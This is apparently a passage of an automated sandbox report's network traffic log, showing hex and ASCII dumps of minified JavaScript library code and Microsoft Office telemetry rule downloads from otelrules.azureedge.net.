2024-10-30 03:34:22 UTC	1378	IN	Data Raw: 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 Data Ascii: n a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw E
2024-10-30 03:34:22 UTC	1378	IN	Data Raw: 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 3d 3d 22 66 75 6e 63 74 Data Ascii: Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.assign=="funct
2024-10-30 03:34:22 UTC	1378	IN	Data Raw: 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 3a 68 28 74 68 69 73 2e 54 4a 29 7d Data Ascii: this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject:h(this.TJ)}
2024-10-30 03:34:22 UTC	1378	IN	Data Raw: 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 6b 29 7b 76 61 Data Ascii: ;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=function(h,k){va
2024-10-30 03:34:22 UTC	1378	IN	Data Raw: 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c Data Ascii: gument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));for(var h=0;h<
2024-10-30 03:34:22 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 6b 2e 70 72 6f 74 6f Data Ascii: tion(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return this};k.proto
2024-10-30 03:34:22 UTC	1378	IN	Data Raw: 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 2e 73 69 7a 65 3d 30 7d 3b 63 2e 70 Data Ascii: ){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this.size=0};c.p
2024-10-30 03:34:22 UTC	1378	IN	Data Raw: 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 65 74 75 72 6e 21 31 3b 66 3d 65 2e Data Ascii: typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)return!1;f=e.
2024-10-30 03:34:22 UTC	1378	IN	Data Raw: 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 29 3a 28 65 2d 3d 36 35 35 33 36 Data Ascii: a("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(e):(e-=65536

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:21 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:22 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:22 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: e7cc90bd-401e-0029-032a-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033422Z-15b8d89586f8nxpt6ys645x5v000000008sg000000006qnk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:22 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:22 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:22 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 395fbb66-201e-003f-4179-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033422Z-16849878b78hh85qc40uyr8sc800000007ug000000003wd3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:22 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:22 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:22 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 2b9d96d3-301e-0020-4e31-276299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033422Z-16849878b78fssff8btnns3b1400000007t0000000008p9a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:22 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:22 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:22 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 99f07890-301e-0051-29d2-2538bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033422Z-16849878b78p49s6zkwt11bbkn000000071g00000000p3zf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:22 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:22 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:22 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 84cbfce0-201e-0071-26f6-26ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033422Z-r197bdfb6b4skzzvqpzzd3xetg00000006vg00000000b58x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:22 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49769	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:22 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-30 03:34:23 UTC	494	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=33628 Date: Wed, 30 Oct 2024 03:34:23 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:22 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:23 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:22 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 39d89106-201e-003f-20a3-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033422Z-16849878b78qwx7pmw9x5fub1c00000005gg00000000pc7h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:23 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> 